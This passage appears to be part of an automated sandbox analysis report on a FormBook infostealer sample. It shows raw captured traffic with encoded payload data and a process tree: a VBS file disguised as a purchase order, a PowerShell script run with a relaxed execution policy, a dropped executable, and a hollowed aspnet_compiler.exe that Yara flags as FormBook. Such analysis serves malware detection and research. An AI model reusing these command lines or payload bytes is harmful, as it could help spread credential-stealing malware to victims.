/PJJkaefhzQzPARO4KXzeOpqgi6zU9Nv+nqg91LOviWu7fOeQlhI9pf8T/eQH0m63hEqr8gh80iLzol6sazpj8AwGA6QKO6vd+GnuGninMwcprn7bLIZ28pPibVprniRgZqAH0iTZYMNmOXIlD91ReDshtpgYwb7n/h5i3kAslAtNU3atqAXS4TCjpMxUEQyxbJxTb4bmbZ+cHRDXFiK47ULfHyuklie74VcqevRg+zH4iK/T71qT7TNv6+mZh/
2024-12-13 06:51:05 UTC	1369	IN	Data Raw: 32 34 45 6a 4b 55 55 44 41 49 30 51 6e 5a 73 31 43 49 6a 53 56 46 49 75 6a 58 4b 42 59 36 67 54 4a 37 5a 2b 63 56 4a 70 6b 62 5a 33 68 34 4c 36 6c 52 49 4e 64 65 56 37 6e 5a 4e 2b 74 59 71 38 74 64 69 42 37 2b 2b 7a 42 4c 7a 77 6c 5a 41 49 34 69 66 36 4a 66 2f 54 39 46 76 33 53 41 54 61 75 77 6e 77 54 33 56 79 42 44 69 4a 71 66 59 52 33 61 56 7a 50 67 71 6a 6e 4f 34 4c 61 32 33 65 54 6e 64 57 41 71 47 65 43 65 75 75 50 31 56 35 77 51 61 5a 65 66 43 44 79 65 64 70 48 72 6b 74 35 43 45 79 32 34 61 4e 39 4c 5a 2f 44 63 64 30 2b 57 30 72 79 41 73 74 48 38 39 6b 54 35 74 2f 39 75 33 7a 78 58 6c 6d 30 51 30 6d 74 6e 2b 56 64 4e 72 71 39 6e 47 39 68 61 52 4a 64 76 69 6c 6a 36 43 44 38 64 4b 6d 49 2b 7a 63 36 62 61 76 64 4e 59 51 52 65 54 59 38 57 67 52 42 39 4d Data Ascii: 24EjKUUDAI0QnZs1CIjSVFIujXKBY6gTJ7Z+cVJpkbZ3h4L6lRINdeV7nZN+tYq8tdiB7++zBLzwlZAI4if6Jf/T9Fv3SATauwnwT3VyBDiJqfYR3aVzPgqjnO4La23eTndWAqGeCeuuP1V5wQaZefCDyedpHrkt5CEy24aN9LZ/Dcd0+W0ryAstH89kT5t/9u3zxXlm0Q0mtn+VdNrq9nG9haRJdvilj6CD8dKmI+zc6bavdNYQReTY8WgRB9M
2024-12-13 06:51:05 UTC	1369	IN	Data Raw: 63 4c 4a 51 4b 54 70 6b 51 56 62 4a 66 72 4a 4f 38 56 65 38 41 61 70 76 77 2f 4d 71 7a 45 53 71 5a 78 54 39 4d 31 6f 38 61 73 31 2b 79 69 31 7a 4a 48 6d 79 6e 76 30 6c 79 79 73 4a 32 6f 5a 6b 34 6b 67 54 52 2b 34 30 68 31 53 61 35 4e 71 7a 62 74 72 38 4f 64 6b 2f 47 76 50 38 72 59 48 49 54 53 43 49 39 78 63 49 79 2f 6e 58 35 53 4d 39 6b 79 6e 69 4d 41 36 46 50 50 49 50 30 76 66 39 74 61 46 76 4c 77 38 6a 61 4d 70 34 77 6f 50 73 6a 4b 77 47 77 67 71 79 6c 76 70 78 74 38 63 71 78 77 70 5a 34 51 68 4f 31 37 64 69 63 41 39 6f 66 56 47 46 65 68 73 42 54 6f 76 74 70 4c 76 39 65 53 35 59 75 53 73 51 4b 46 4d 71 67 7a 65 37 41 61 59 68 39 59 52 4c 35 61 73 4f 58 31 6c 78 73 44 33 66 64 4f 41 62 51 2b 68 63 4c 61 78 31 4a 38 58 31 57 73 68 45 51 6d 38 74 38 53 35 Data Ascii: cLJQKTpkQVbJfrJO8Ve8Aapvw/MqzESqZxT9M1o8as1+yi1zJHmynv0lyysJ2oZk4kgTR+40h1Sa5Nqzbtr8Odk/GvP8rYHITSCI9xcIy/nX5SM9kyniMA6FPPIP0vf9taFvLw8jaMp4woPsjKwGwgqylvpxt8cqxwpZ4QhO17dicA9ofVGFehsBTovtpLv9eS5YuSsQKFMqgze7AaYh9YRL5asOX1lxsD3fdOAbQ+hcLax1J8X1WshEQm8t8S5
2024-12-13 06:51:05 UTC	1369	IN	Data Raw: 62 37 65 6f 73 76 58 2f 43 53 41 61 37 47 53 51 4a 71 65 4e 35 41 45 6e 73 59 6a 63 2f 45 47 54 45 39 4c 44 6f 76 35 65 34 6e 6f 48 74 35 36 4f 5a 4d 4a 77 62 71 4c 64 77 57 6f 50 50 6f 77 43 46 49 65 2b 79 72 45 5a 74 51 63 67 6f 71 66 67 6b 47 63 49 54 44 4f 70 6d 50 57 55 59 56 72 55 57 76 2f 78 64 79 55 33 30 6b 76 48 75 2b 6f 58 51 46 43 6a 4e 36 72 47 62 52 59 74 78 57 38 4f 46 35 33 33 31 34 56 78 31 6b 6c 66 33 6c 42 43 7a 4a 46 4b 44 36 32 39 49 62 6e 7a 4d 75 6c 49 41 66 6b 4a 71 35 65 48 76 6d 5a 37 63 58 70 56 36 2f 76 78 79 45 71 4e 45 2b 72 62 2b 70 2f 47 79 70 53 49 37 39 74 2b 70 31 61 6a 51 55 72 57 62 66 77 6b 70 6b 39 64 62 51 31 6e 4f 63 78 6a 59 47 44 76 4b 75 53 50 4b 79 71 56 6a 47 7a 6a 58 30 6d 78 4b 31 37 6d 72 69 67 4a 39 54 61 Data Ascii: b7eosvX/CSAa7GSQJqeN5AEnsYjc/EGTE9LDov5e4noHt56OZMJwbqLdwWoPPowCFIe+yrEZtQcgoqfgkGcITDOpmPWUYVrUWv/xdyU30kvHu+oXQFCjN6rGbRYtxW8OF53314Vx1klf3lBCzJFKD629IbnzMulIAfkJq5eHvmZ7cXpV6/vxyEqNE+rb+p/GypSI79t+p1ajQUrWbfwkpk9dbQ1nOcxjYGDvKuSPKyqVjGzjX0mxK17mrigJ9Ta
2024-12-13 06:51:05 UTC	1369	IN	Data Raw: 66 4a 2f 6f 61 39 6f 2b 5a 2f 66 4b 73 6e 42 77 71 6c 6a 2b 54 46 38 70 4f 78 31 37 53 55 48 38 4e 4c 37 53 42 46 74 66 43 4b 4b 58 74 6e 46 64 63 73 66 6b 35 30 35 2f 6d 49 76 41 32 56 66 4d 30 69 42 72 35 51 50 46 30 6c 30 42 34 71 6a 4e 2f 4b 52 4f 66 32 4a 64 6e 48 65 79 41 59 49 46 74 32 7a 5a 62 31 62 74 72 39 45 63 6e 2f 6d 43 73 6d 4e 4d 59 73 54 53 6d 47 6e 5a 79 73 67 61 77 38 70 46 67 6d 6c 67 4d 56 64 39 65 31 30 68 58 32 4e 79 61 67 56 46 41 67 64 50 46 77 4f 68 48 4b 52 4e 66 50 33 4a 68 46 6f 72 48 7a 33 31 78 6f 33 46 30 34 51 68 36 6d 68 35 62 4a 47 78 6b 73 69 6b 4c 4e 72 30 58 56 6c 78 50 4f 6a 72 73 35 37 7a 65 6e 66 31 7a 30 71 4c 6b 62 34 2b 50 2f 66 57 70 74 48 55 43 4d 49 55 4c 49 78 4a 76 63 64 6a 54 35 75 72 71 52 79 50 44 77 6d Data Ascii: fJ/oa9o+Z/fKsnBwqlj+TF8pOx17SUH8NL7SBFtfCKKXtnFdcsfk505/mIvA2VfM0iBr5QPF0l0B4qjN/KROf2JdnHeyAYIFt2zZb1btr9Ecn/mCsmNMYsTSmGnZysgaw8pFgmlgMVd9e10hX2NyagVFAgdPFwOhHKRNfP3JhForHz31xo3F04Qh6mh5bJGxksikLNr0XVlxPOjrs57zenf1z0qLkb4+P/fWptHUCMIULIxJvcdjT5urqRyPDwm
2024-12-13 06:51:05 UTC	1369	IN	Data Raw: 75 55 67 6d 39 34 35 78 36 65 46 41 73 78 61 42 6c 6d 68 37 42 43 53 57 70 31 2b 56 35 42 69 65 53 47 62 44 50 52 36 4f 62 55 46 62 50 4c 4b 5a 5a 69 35 6b 4d 62 57 6a 31 6e 6c 43 64 4c 59 74 4c 53 73 57 2b 68 56 71 47 42 5a 57 30 2f 73 41 69 6d 6f 78 6f 4d 65 4e 6f 58 67 76 51 48 2b 6f 2f 43 33 62 6a 76 71 67 6d 4e 54 68 51 6e 41 77 74 31 61 6f 39 64 6e 65 5a 44 4c 53 35 61 42 65 44 30 51 39 49 59 6a 6e 50 6c 78 44 73 6e 6c 33 2b 33 69 6f 67 49 54 4c 4c 79 6a 54 6a 6b 62 4a 68 50 74 4c 50 51 65 4e 51 73 67 36 33 4b 75 35 63 2b 78 54 59 78 33 2f 4d 55 71 4d 65 6a 72 32 44 41 55 42 49 76 71 36 69 34 2f 47 36 59 6d 44 4c 68 70 34 50 4a 70 57 41 76 78 79 4e 48 35 5a 4f 71 4d 56 35 2b 38 74 63 61 6f 48 71 39 62 36 59 79 59 71 75 4b 33 6d 77 76 62 37 31 69 76 Data Ascii: uUgm945x6eFAsxaBlmh7BCSWp1+V5BieSGbDPR6ObUFbPLKZZi5kMbWj1nlCdLYtLSsW+hVqGBZW0/sAimoxoMeNoXgvQH+o/C3bjvqgmNThQnAwt1ao9dneZDLS5aBeD0Q9IYjnPlxDsnl3+3iogITLLyjTjkbJhPtLPQeNQsg63Ku5c+xTYx3/MUqMejr2DAUBIvq6i4/G6YmDLhp4PJpWAvxyNH5ZOqMV5+8tcaoHq9b6YyYquK3mwvb71iv
2024-12-13 06:51:05 UTC	1369	IN	Data Raw: 68 56 78 2f 77 4c 6f 63 72 6e 64 43 4d 6d 4d 34 35 61 65 37 56 54 4c 41 6d 74 46 35 46 4e 32 53 76 57 58 6a 76 46 5a 4a 4c 31 66 34 67 33 35 61 50 46 47 37 55 74 32 51 4a 72 68 61 51 4a 33 31 41 6d 4c 51 31 4f 45 47 2b 32 38 30 45 75 4b 50 42 36 6f 67 50 31 57 6b 53 35 6b 4e 34 62 46 4f 46 43 37 58 58 6d 74 2f 30 63 6a 69 69 36 47 45 31 51 79 67 77 67 59 65 79 4b 58 54 7a 35 2f 4f 41 69 49 55 44 31 72 69 44 72 39 49 43 37 70 32 55 6c 79 78 4f 6b 30 63 44 33 31 6f 74 49 71 6c 2f 6c 4b 79 73 67 33 62 70 4e 77 59 4c 4d 32 33 58 74 43 42 68 74 2b 6e 79 4f 76 6a 34 31 75 59 4b 7a 42 67 43 53 36 46 54 71 4c 42 33 31 75 61 35 6b 6a 48 33 71 6d 62 4e 52 62 58 75 34 39 64 61 58 6d 53 69 54 6c 37 65 79 4b 54 49 55 69 4f 6b 71 56 35 7a 39 4b 74 50 31 4b 6a 31 58 51 Data Ascii: hVx/wLocrndCMmM45ae7VTLAmtF5FN2SvWXjvFZJL1f4g35aPFG7Ut2QJrhaQJ31AmLQ1OEG+280EuKPB6ogP1WkS5kN4bFOFC7XXmt/0cjii6GE1QygwgYeyKXTz5/OAiIUD1riDr9IC7p2UlyxOk0cD31otIql/lKysg3bpNwYLM23XtCBht+nyOvj41uYKzBgCS6FTqLB31ua5kjH3qmbNRbXu49daXmSiTl7eyKTIUiOkqV5z9KtP1Kj1XQ
2024-12-13 06:51:05 UTC	1369	IN	Data Raw: 73 65 30 77 71 30 2b 4e 4c 78 2f 44 49 47 69 6f 65 67 34 4b 59 6f 69 70 6a 72 34 72 73 47 53 71 4f 43 61 4b 70 58 59 63 62 57 7a 47 77 37 58 49 45 39 74 6f 55 30 4c 30 41 6e 54 47 56 72 37 61 59 54 49 34 62 6a 73 63 66 35 48 53 57 48 54 6f 62 63 37 4f 56 6f 30 6c 56 6a 71 76 2f 6f 34 74 74 36 52 2b 4e 70 53 62 56 35 74 48 4e 56 39 69 7a 41 4a 73 73 73 2f 46 45 7a 76 2b 68 6a 73 53 42 78 74 50 64 4a 6d 56 44 4c 32 66 46 6f 67 48 7a 6d 56 6d 52 49 4b 41 38 76 72 4a 67 65 50 66 41 6e 39 51 67 63 76 45 4b 53 46 4e 6b 6c 6d 47 34 61 44 71 6e 47 4c 6c 63 42 68 69 39 2b 4e 6d 61 33 78 57 55 46 53 67 79 7a 57 2f 50 42 4d 35 63 43 37 69 76 5a 78 76 76 6d 62 68 32 56 50 6b 42 6a 58 4a 6b 59 35 6d 67 79 50 35 6a 2f 78 36 76 61 2f 54 70 43 49 67 44 2b 6e 34 6a 6a 39 Data Ascii: se0wq0+NLx/DIGioeg4KYoipjr4rsGSqOCaKpXYcbWzGw7XIE9toU0L0AnTGVr7aYTI4bjscf5HSWHTobc7OVo0lVjqv/o4tt6R+NpSbV5tHNV9izAJsss/FEzv+hjsSBxtPdJmVDL2fFogHzmVmRIKA8vrJgePfAn9QgcvEKSFNklmG4aDqnGLlcBhi9+Nma3xWUFSgyzW/PBM5cC7ivZxvvmbh2VPkBjXJkY5mgyP5j/x6va/TpCIgD+n4jj9

Target ID:	0
Start time:	01:51:02
Start date:	13/12/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\PO_11171111221.Vbs.vbs"
Imagebase:	0x7ff6a62c0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	1
Start time:	01:51:05
Start date:	13/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy RemoteSigned -File "C:\Temp\dddddd.ps1"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	2
Start time:	01:51:05
Start date:	13/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	3
Start time:	01:51:07
Start date:	13/12/2024
Path:	C:\Users\user\AppData\Local\Temp\x.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\x.exe"
Imagebase:	0x7ff7699e0000
File size:	336'896 bytes
MD5 hash:	3A4DEEB8FD959AF313C23032D971093E
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Target ID:	4
Start time:	01:51:07
Start date:	13/12/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
Imagebase:	0xc0000
File size:	56'368 bytes
MD5 hash:	FDA8C8F2A4E100AFB14C13DFCBCAB2D2
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Target ID:	5
Start time:	01:51:07
Start date:	13/12/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
Imagebase:	0x600000
File size:	56'368 bytes
MD5 hash:	FDA8C8F2A4E100AFB14C13DFCBCAB2D2
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000005.00000002.1996937641.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000005.00000002.1997479679.0000000000BA0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	true

Target ID:	8
Start time:	01:51:25
Start date:	13/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true